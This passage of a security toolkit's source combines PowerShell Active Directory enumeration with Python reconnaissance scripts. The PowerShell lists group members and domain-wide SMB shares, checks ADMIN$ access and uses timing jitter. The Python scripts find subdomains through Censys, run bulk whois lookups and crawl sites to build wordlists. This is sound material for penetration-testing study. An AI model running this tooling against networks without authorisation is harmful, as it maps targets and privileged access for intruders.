$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) 928 | 929 | $Members = $GroupSearcher.FindAll() 930 | $GroupFoundName = $GroupName 931 | } 932 | else { 933 | Write-Error "Unable to find Group" 934 | } 935 | } 936 | else { 937 | if ($GroupName) { 938 | $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" 939 | } 940 | elseif ($SID) { 941 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" 942 | } 943 | else { 944 | $SID = (Get-DomainSID -Domain $Domain) + "-512" 945 | $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" 946 | } 947 | 948 | $GroupSearcher.FindAll() | ForEach-Object { 949 | try { 950 | if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } 951 | 952 | $GroupFoundName = $_.properties.name[0] 953 | $Members = @() 954 | 955 | if ($_.properties.member.Count -eq 0) { 956 | $Finished = $False 957 | $Bottom = 0 958 | $Top = 0 959 | while(!$Finished) { 960 | $Top = $Bottom + 1499 961 | $MemberRange="member;range=$Bottom-$Top" 962 | $Bottom += 1500 963 | $GroupSearcher.PropertiesToLoad.Clear() 964 | [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") 965 | try { 966 | $Result = $GroupSearcher.FindOne() 967 | if ($Result) { 968 | $RangedProperty = $_.Properties.PropertyNames -like "member;range=*" 969 | $Results = $_.Properties.item($RangedProperty) 970 | if ($Results.count -eq 0) { 971 | $Finished = $True 972 | } 973 | else { 974 | $Results | ForEach-Object { 975 | $Members += $_ 976 | } 977 | } 978 | } 979 | else { 980 | $Finished = $True 981 | } 982 | } 983 | catch [System.Management.Automation.MethodInvocationException] { 984 | $Finished = $True 985 | } 986 | } 987 | } 988 | else { 989 | $Members = $_.properties.member 990 | } 991 | } 992 | catch { 993 | Write-Verbose $_ 994 | } 995 | } 996 | } 997 | 998 | $Members | Where-Object {$_} | ForEach-Object { 999 | if ($Recurse -and $UseMatchingRule) { 1000 | $Properties = $_.Properties 1001 | } 1002 | else { 1003 | if($DomainController) { 1004 | $Result = [adsi]"LDAP://$DomainController/$_" 1005 | } 1006 | else { 1007 | $Result = [adsi]"LDAP://$_" 1008 | } 1009 | if($Result){ 1010 | $Properties = $Result.Properties 1011 | } 1012 | } 1013 | 1014 | if($Properties) { 1015 | 1016 | if($Properties.samaccounttype -notmatch '805306368') { 1017 | $IsGroup = $True 1018 | } 1019 | else { 1020 | $IsGroup = $False 1021 | } 1022 | 1023 | if ($FullData) { 1024 | $GroupMember = Convert-LDAPProperty -Properties $Properties 1025 | } 1026 | else { 1027 | $GroupMember = New-Object PSObject 1028 | } 1029 | 1030 | $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain 1031 | $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName 1032 | 1033 | try { 1034 | $MemberDN = $Properties.distinguishedname[0] 1035 | 1036 | $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' 1037 | } 1038 | catch { 1039 | $MemberDN = $Null 1040 | $MemberDomain = $Null 1041 | } 1042 | 1043 | if ($Properties.samaccountname) { 1044 | $MemberName = $Properties.samaccountname[0] 1045 | } 1046 | else { 1047 | try { 1048 | $MemberName = Convert-SidToName $Properties.cn[0] 1049 | } 1050 | catch { 1051 | $MemberName = $Properties.cn 1052 | } 1053 | } 1054 | 1055 | if($Properties.objectSid) { 1056 | $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) 1057 | } 1058 | else { 1059 | $MemberSid = $Null 1060 | } 1061 | 1062 | $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain 1063 | $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName 1064 | $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid 1065 | $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup 1066 | $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN 1067 | $GroupMember 1068 | 1069 | if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { 1070 | Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize 1071 | } 1072 | } 1073 | 1074 | } 1075 | } 1076 | } 1077 | } 1078 | 1079 | function Get-NetShare { 1080 | [CmdletBinding()] 1081 | param( 1082 | [Parameter(ValueFromPipeline=$True)] 1083 | [Alias('HostName')] 1084 | [String] 1085 | $ComputerName = 'localhost' 1086 | ) 1087 | 1088 | begin { 1089 | if ($PSBoundParameters['Debug']) { 1090 | $DebugPreference = 'Continue' 1091 | } 1092 | } 1093 | 1094 | process { 1095 | 1096 | $ComputerName = Get-NameField -Object $ComputerName 1097 | 1098 | $QueryLevel = 1 1099 | $PtrInfo = [IntPtr]::Zero 1100 | $EntriesRead = 0 1101 | $TotalRead = 0 1102 | $ResumeHandle = 0 1103 | 1104 | $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) 1105 | 1106 | $Offset = $PtrInfo.ToInt64() 1107 | 1108 | Write-Debug "Get-NetShare result: $Result" 1109 | 1110 | if (($Result -eq 0) -and ($Offset -gt 0)) { 1111 | 1112 | $Increment = $SHARE_INFO_1::GetSize() 1113 | 1114 | for ($i = 0; ($i -lt $EntriesRead); $i++) { 1115 | $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset 1116 | $Info = $NewIntPtr -as $SHARE_INFO_1 1117 | $Info | Select-Object * 1118 | $Offset = $NewIntPtr.ToInt64() 1119 | $Offset += $Increment 1120 | } 1121 | 1122 | $Null = $Netapi32::NetApiBufferFree($PtrInfo) 1123 | } 1124 | else 1125 | { 1126 | switch ($Result) { 1127 | (5) {Write-Debug 'The user does not have access to the requested information.'} 1128 | (124) {Write-Debug 'The value specified for the level parameter is not valid.'} 1129 | (87) {Write-Debug 'The specified parameter is not valid.'} 1130 | (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} 1131 | (8) {Write-Debug 'Insufficient memory is available.'} 1132 | (2312) {Write-Debug 'A session does not exist with the computer name.'} 1133 | (2351) {Write-Debug 'The computer name is not valid.'} 1134 | (2221) {Write-Debug 'Username not found.'} 1135 | (53) {Write-Debug 'Hostname could not be found'} 1136 | } 1137 | } 1138 | } 1139 | } 1140 | 1141 | 1142 | function Get-NameField { 1143 | 1144 | [CmdletBinding()] 1145 | param( 1146 | [Parameter(Mandatory=$True,ValueFromPipeline=$True)] 1147 | $Object 1148 | ) 1149 | process { 1150 | if($Object) { 1151 | if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { 1152 | $Object.dnshostname 1153 | } 1154 | elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { 1155 | $Object.name 1156 | } 1157 | else { 1158 | $Object 1159 | } 1160 | } 1161 | else { 1162 | return $Null 1163 | } 1164 | } 1165 | } 1166 | 1167 | function Invoke-ShareFinder { 1168 | [CmdletBinding()] 1169 | param( 1170 | [Parameter(Position=0,ValueFromPipeline=$True)] 1171 | [Alias('Hosts')] 1172 | [String[]] 1173 | $ComputerName, 1174 | 1175 | [ValidateScript({Test-Path -Path $_ })] 1176 | [Alias('HostList')] 1177 | [String] 1178 | $ComputerFile, 1179 | 1180 | [String] 1181 | $ComputerFilter, 1182 | 1183 | [String] 1184 | $ComputerADSpath, 1185 | 1186 | [Switch] 1187 | $ExcludeStandard, 1188 | 1189 | [Switch] 1190 | $ExcludePrint, 1191 | 1192 | [Switch] 1193 | $ExcludeIPC, 1194 | 1195 | [Switch] 1196 | $NoPing, 1197 | 1198 | [Switch] 1199 | $CheckShareAccess, 1200 | 1201 | [Switch] 1202 | $CheckAdmin, 1203 | 1204 | [UInt32] 1205 | $Delay = 0, 1206 | 1207 | [Double] 1208 | $Jitter = .3, 1209 | 1210 | [String] 1211 | $Domain, 1212 | 1213 | [String] 1214 | $DomainController, 1215 | 1216 | [Switch] 1217 | $SearchForest, 1218 | 1219 | [ValidateRange(1,100)] 1220 | [Int] 1221 | $Threads 1222 | ) 1223 | 1224 | begin { 1225 | if ($PSBoundParameters['Debug']) { 1226 | $DebugPreference = 'Continue' 1227 | } 1228 | 1229 | $RandNo = New-Object System.Random 1230 | 1231 | Write-Verbose "[*] Running with delay of $Delay" 1232 | 1233 | [String[]] $ExcludedShares = @('') 1234 | 1235 | if(!$ComputerName) { 1236 | 1237 | if($Domain) { 1238 | $TargetDomains = @($Domain) 1239 | } 1240 | elseif($SearchForest) { 1241 | $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } 1242 | } 1243 | else { 1244 | $TargetDomains = @( (Get-NetDomain).name ) 1245 | } 1246 | 1247 | if($ComputerFile) { 1248 | $ComputerName = Get-Content -Path $ComputerFile 1249 | } 1250 | else { 1251 | [array]$ComputerName = @() 1252 | ForEach ($Domain in $TargetDomains) { 1253 | Write-Verbose "[*] Querying domain $Domain for hosts" 1254 | $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath 1255 | } 1256 | } 1257 | 1258 | $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } 1259 | if($($ComputerName.count) -eq 0) { 1260 | throw "No hosts found!" 1261 | } 1262 | } 1263 | 1264 | $HostEnumBlock = { 1265 | param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) 1266 | 1267 | $Up = $True 1268 | if($Ping) { 1269 | $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName 1270 | } 1271 | if($Up) { 1272 | $Shares = Get-NetShare -ComputerName $ComputerName 1273 | ForEach ($Share in $Shares) { 1274 | Write-Debug "[*] Server share: $Share" 1275 | $NetName = $Share.shi1_netname 1276 | $Remark = $Share.shi1_remark 1277 | $Path = '\\'+$ComputerName+'\'+$NetName 1278 | 1279 | if (($NetName) -and ($NetName.trim() -ne '')) { 1280 | if($CheckAdmin) { 1281 | if($NetName.ToUpper() -eq "ADMIN$") { 1282 | try { 1283 | $Null = [IO.Directory]::GetFiles($Path) 1284 | "\\$ComputerName\$NetName `t- $Remark" 1285 | } 1286 | catch { 1287 | Write-Debug "Error accessing path $Path : $_" 1288 | } 1289 | } 1290 | } 1291 | elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { 1292 | if($CheckShareAccess) { 1293 | try { 1294 | $Null = [IO.Directory]::GetFiles($Path) 1295 | "\\$ComputerName\$NetName `t- $Remark" 1296 | } 1297 | catch { 1298 | Write-Debug "Error accessing path $Path : $_" 1299 | } 1300 | } 1301 | else { 1302 | "\\$ComputerName\$NetName `t- $Remark" 1303 | } 1304 | } 1305 | } 1306 | } 1307 | } 1308 | } 1309 | 1310 | } 1311 | 1312 | process { 1313 | 1314 | if($Threads) { 1315 | Write-Verbose "Using threading with threads = $Threads" 1316 | 1317 | $ScriptParams = @{ 1318 | 'Ping' = $(-not $NoPing) 1319 | 'CheckShareAccess' = $CheckShareAccess 1320 | 'ExcludedShares' = $ExcludedShares 1321 | 'CheckAdmin' = $CheckAdmin 1322 | } 1323 | 1324 | Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams 1325 | } 1326 | 1327 | else { 1328 | if(-not $NoPing -and ($ComputerName.count -ne 1)) { 1329 | $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} 1330 | $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 1331 | } 1332 | 1333 | Write-Verbose "[*] active hosts: $($ComputerName.count)" 1334 | $Counter = 0 1335 | 1336 | ForEach ($Computer in $ComputerName) { 1337 | 1338 | $Counter = $Counter + 1 1339 | 1340 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 1341 | 1342 | Write-Verbose "[*] server $Computer ($Counter of $($ComputerName.count))" 1343 | Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin 1344 | } 1345 | } 1346 | 1347 | } 1348 | } 1349 | 1350 | function Invoke-ThreadedFunction { 1351 | # Helper used by any threaded host enumeration functions 1352 | [CmdletBinding()] 1353 | param( 1354 | [Parameter(Position=0,Mandatory=$True)] 1355 | [String[]] 1356 | $ComputerName, 1357 | 1358 | [Parameter(Position=1,Mandatory=$True)] 1359 | [System.Management.Automation.ScriptBlock] 1360 | $ScriptBlock, 1361 | 1362 | [Parameter(Position=2)] 1363 | [Hashtable] 1364 | $ScriptParameters, 1365 | 1366 | [Int] 1367 | $Threads = 20, 1368 | 1369 | [Switch] 1370 | $NoImports 1371 | ) 1372 | 1373 | begin { 1374 | 1375 | if ($PSBoundParameters['Debug']) { 1376 | $DebugPreference = 'Continue' 1377 | } 1378 | 1379 | Write-Verbose "[*] hosts: $($ComputerName.count)" 1380 | 1381 | $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 1382 | $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 1383 | 1384 | if(!$NoImports) { 1385 | 1386 | $MyVars = Get-Variable -Scope 2 1387 | 1388 | $VorbiddenVars = @("") 1389 | 1390 | ForEach($Var in $MyVars) { 1391 | if($VorbiddenVars -NotContains $Var.Name) { 1392 | $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 1393 | } 1394 | } 1395 | 1396 | ForEach($Function in (Get-ChildItem Function:)) { 1397 | $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) 1398 | } 1399 | } 1400 | 1401 | $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) 1402 | $Pool.Open() 1403 | 1404 | $Jobs = @() 1405 | $PS = @() 1406 | $Wait = @() 1407 | 1408 | $Counter = 0 1409 | } 1410 | 1411 | process { 1412 | 1413 | ForEach ($Computer in $ComputerName) { 1414 | 1415 | if ($Computer -ne '') { 1416 | While ($($Pool.GetAvailableRunspaces()) -le 0) { 1417 | Start-Sleep -MilliSeconds 500 1418 | } 1419 | 1420 | $PS += [powershell]::create() 1421 | 1422 | $PS[$Counter].runspacepool = $Pool 1423 | 1424 | $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) 1425 | if($ScriptParameters) { 1426 | ForEach ($Param in $ScriptParameters.GetEnumerator()) { 1427 | $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) 1428 | } 1429 | } 1430 | 1431 | $Jobs += $PS[$Counter].BeginInvoke(); 1432 | 1433 | $Wait += $Jobs[$Counter].AsyncWaitHandle 1434 | } 1435 | $Counter = $Counter + 1 1436 | } 1437 | } 1438 | 1439 | end { 1440 | 1441 | Write-Verbose "Waiting for scanning threads to finish..." 1442 | 1443 | $WaitTimeout = Get-Date 1444 | 1445 | while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { 1446 | Start-Sleep -MilliSeconds 500 1447 | } 1448 | 1449 | for ($y = 0; $y -lt $Counter; $y++) { 1450 | 1451 | try { 1452 | $PS[$y].EndInvoke($Jobs[$y]) 1453 | 1454 | } catch { 1455 | Write-Warning "error: $_" 1456 | } 1457 | finally { 1458 | $PS[$y].Dispose() 1459 | } 1460 | } 1461 | 1462 | $Pool.Dispose() 1463 | Write-Verbose "All threads completed!" 1464 | } 1465 | } 1466 | -------------------------------------------------------------------------------- /py_scripts/censys_search.py: -------------------------------------------------------------------------------- 1 | import sys, json, requests, logging, os 2 | import censys.certificates 3 | 4 | API_URL = "https://censys.io/api/v1" 5 | 6 | logging.basicConfig(level=logging.INFO) 7 | logger = logging.getLogger(__name__) 8 | 9 | 10 | def close_to_domain(candidate, target_domain, domain_array): 11 | if any(x in candidate for x in domain_array): 12 | return True 13 | return False 14 | 15 | 16 | def show_censys_data(domain, uid, secret): 17 | logger.info("Looking up {} on censys".format(domain)) 18 | domains = set() 19 | domain_array = domain.split(".") 20 | domain_array.pop() 21 | 22 | certificates = censys.certificates.CensysCertificates(uid, secret) 23 | fields = ["parsed.names"] 24 | 25 | for c in certificates.search("parsed.names: %s" % domain, fields=fields): 26 | for d in c["parsed.names"]: 27 | if close_to_domain(d, domain, domain_array): 28 | domains.add(d) 29 | 30 | logger.info("Found {} unique domains".format(len(domains))) 31 | for d in domains: 32 | print(d) 33 | 34 | 35 | def check_api_keys(): 36 | if os.environ.get("CENSYS_ID") is None or os.environ.get("CENSYS_SECRET") is None: 37 | logger.warning("Missing CENSYS_ID or CENSYS_SECRET env var") 38 | sys.exit(-1) 39 | 40 | 41 | if __name__ == "__main__": 42 | if len(sys.argv) < 2: 43 | print("usage {} ".format(sys.argv[0])) 44 | sys.exit(-1) 45 | check_api_keys() 46 | uid = os.environ.get("CENSYS_ID") 47 | secret = os.environ.get("CENSYS_SECRET") 48 | 49 | show_censys_data(sys.argv[1], uid, secret) 50 | -------------------------------------------------------------------------------- /py_scripts/query_whois.py: -------------------------------------------------------------------------------- 1 | import socket, sys, re, logging 2 | from subprocess import Popen, PIPE 3 | 4 | logging.basicConfig(level=logging.INFO) 5 | logger = logging.getLogger(__name__) 6 | 7 | 8 | def usage(): 9 | if len(sys.argv) < 2: 10 | print("usage query_whois.py ") 11 | print("\t contains a domain per line") 12 | sys.exit(-1) 13 | 14 | def catch_word(pattern, output): 15 | match = re.search('%s(.+)' % pattern, output) 16 | return match.group(1) 17 | 18 | def get_ip_from_domain(domain_name): 19 | try: 20 | return socket.gethostbyname(domain_name) 21 | except Exception as e: 22 | logger.warn("Could not resolve %s - %s" % (domain_name, e)) 23 | return None 24 | 25 | def parse_whoise(ip_address): 26 | netname, inetnum, country = "N/A", "N/A", "N/A" 27 | p = Popen(['whois', ip_address], stdin=PIPE, stdout=PIPE, stderr=PIPE) 28 | output, err = p.communicate() 29 | 30 | rc = p.returncode 31 | output = output.lower().decode() 32 | if rc == 0: 33 | netname = catch_word("netname:", output).strip() 34 | country = catch_word("country:", output).strip() 35 | if "netrange" in output: 36 | inetnum = catch_word("netrange:", output).strip() 37 | elif "inetnum" in output: 38 | inetnum = catch_word("inetnum:", output).strip() 39 | return netname, inetnum, country 40 | 41 | def run(): 42 | print("domain,netname,ip range,country") 43 | with open(sys.argv[1], "r") as ins: 44 | for line in ins: 45 | domain_name = line.strip() 46 | ip_address = get_ip_from_domain(domain_name) 47 | if ip_address is None: 48 | print("{},,,".format(domain_name)) 49 | continue 50 | netname, inetnum, country = parse_whoise(ip_address) 51 | print("{},{},{},{}".format(domain_name, netname, inetnum, country)) 52 | 53 | 54 | if __name__ == "__main__": 55 | usage() 56 | run() 57 | -------------------------------------------------------------------------------- /py_scripts/wordcollector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | 3 | ''' Creates wordlists from web scraping. BeautifulSoup requierd (pip install beautifulsoup) 4 | Writes output to wordlist.txt in the same directory 5 | Adapter from the work of https://gist.github.com/melpomene/1277869 6 | 7 | ''' 8 | import sys 9 | import os 10 | import robotparser 11 | from BeautifulSoup import BeautifulSoup as bs 12 | import urllib2 13 | from urlparse import urlparse 14 | 15 | PATH = './wordlist.txt' 16 | 17 | visited =[] 18 | 19 | def check(word): 20 | 21 | if len(word)> 13 or len(word)< 6: 22 | return False; 23 | if "<" in word or ">" in word: 24 | return False; 25 | if set('[~!@#$%^&*()_+{}":;\'\\-]+$.,').intersection(word): 26 | return False; 27 | 28 | return True 29 | 30 | ''' Returns all links found on page''' 31 | def return_links(raw_page): 32 | soup = bs(raw_page) 33 | links = [] 34 | for link in soup.findAll('a'): 35 | links.append(link.get('href')) 36 | return links 37 | 38 | ''' Saves all words in source code seperated with whitespace to file (on PATH) with one word per row''' 39 | def save_wordlist(raw_page): 40 | soup = bs(raw_page) 41 | wordlist = str.split(soup.__str__()) 42 | f = open(PATH, 'a') 43 | for word in wordlist: 44 | if check(word): 45 | print word.lower() 46 | f.write(word.lower()+'\n') 47 | f.close() 48 | 49 | ''' Recursive method that checks Robotparser if it is allowed to crawl and if allowed 50 | it parses all word and make recursive call to all found URLs''' 51 | def scrape(baseurl, page, rp): 52 | if page is None: 53 | return 54 | url = urlparse(page) 55 | if url.netloc=="": 56 | if(baseurl[-1] != "/" and url.path != "" and url.path[0] != "/"): 57 | baseurl = baseurl + "/" 58 | newurl = baseurl + url.path 59 | if "http" not in newurl: 60 | newurl = "http://"+newurl 61 | else: 62 | if baseurl != url.netloc: 63 | rp.set_url("http://" +url.netloc + "/robots.txt") 64 | rp.read() 65 | if verbose: 66 | print "Checking robot.txt on : "+ "http://" +baseurl + "/robots.txt" 67 | 68 | newurl = url.geturl() 69 | baseurl = url.netloc 70 | #recheck robots.txt 71 | 72 | 73 | 74 | if newurl in visited: 75 | return 76 | 77 | visited.append(newurl) 78 | if rp.can_fetch("*", newurl): 79 | if verbose: 80 | print "Allowed to fetch page "+newurl+". Initiating scrape." 81 | try: 82 | raw_page = urllib2.urlopen(newurl) 83 | raw_page = raw_page.read() 84 | #scrape for words. 85 | save_wordlist(raw_page) 86 | 87 | # scrape for links. Foreach link scrape. 88 | links = return_links(raw_page) 89 | if not links: 90 | return 91 | for link in links: 92 | scrape(baseurl, link, rp) 93 | except (urllib2.URLError, urllib2.HTTPError, ValueError): 94 | return 95 | 96 | 97 | 98 | else: 99 | if verbose: 100 | print "Not allowed to fetch page "+baseurl+page+". Shutting down operations" 101 | return 102 | 103 | 104 | 105 | 106 | if __name__ == "__main__": 107 | if len(sys.argv) == 1: 108 | print "Call with 'python wordcollector.py [--verbose] [url]'" 109 | exit() 110 | if sys.argv[1] == '--verbose': 111 | if len(sys.argv) == 2: 112 | print "Call with 'python wordcollector.py [--verbose] [url]'" 113 | exit() 114 | verbose = True 115 | url = sys.argv[2] 116 | else: 117 | verbose = False 118 | url = sys.argv[1] 119 | 120 | if verbose : 121 | print "URL: " + url 122 | print "OUTPUT: " + PATH 123 | 124 | if verbose: 125 | print "Reading " + url +"/robots.txt" 126 | rp = robotparser.RobotFileParser() 127 | rp.set_url(url + "/robots.txt") 128 | rp.read() 129 | if rp.can_fetch("*", url): 130 | if verbose: 131 | print "Allowed to fetch root. Initiating reqursive scrape." 132 | # INITIATE RECURSIVE SCRAPE. 133 | try: 134 | scrape(url, "", rp) 135 | except KeyboardInterrupt: 136 | pass 137 | if verbose: 138 | print"" 139 | print "---------------------" 140 | print "Scrape was completed. Check " + PATH 141 | 142 | 143 | else: 144 | if verbose: 145 | print "Not allowed to fetch root. Shutting down operations" 146 | exit() 147 | --------------------------------------------------------------------------------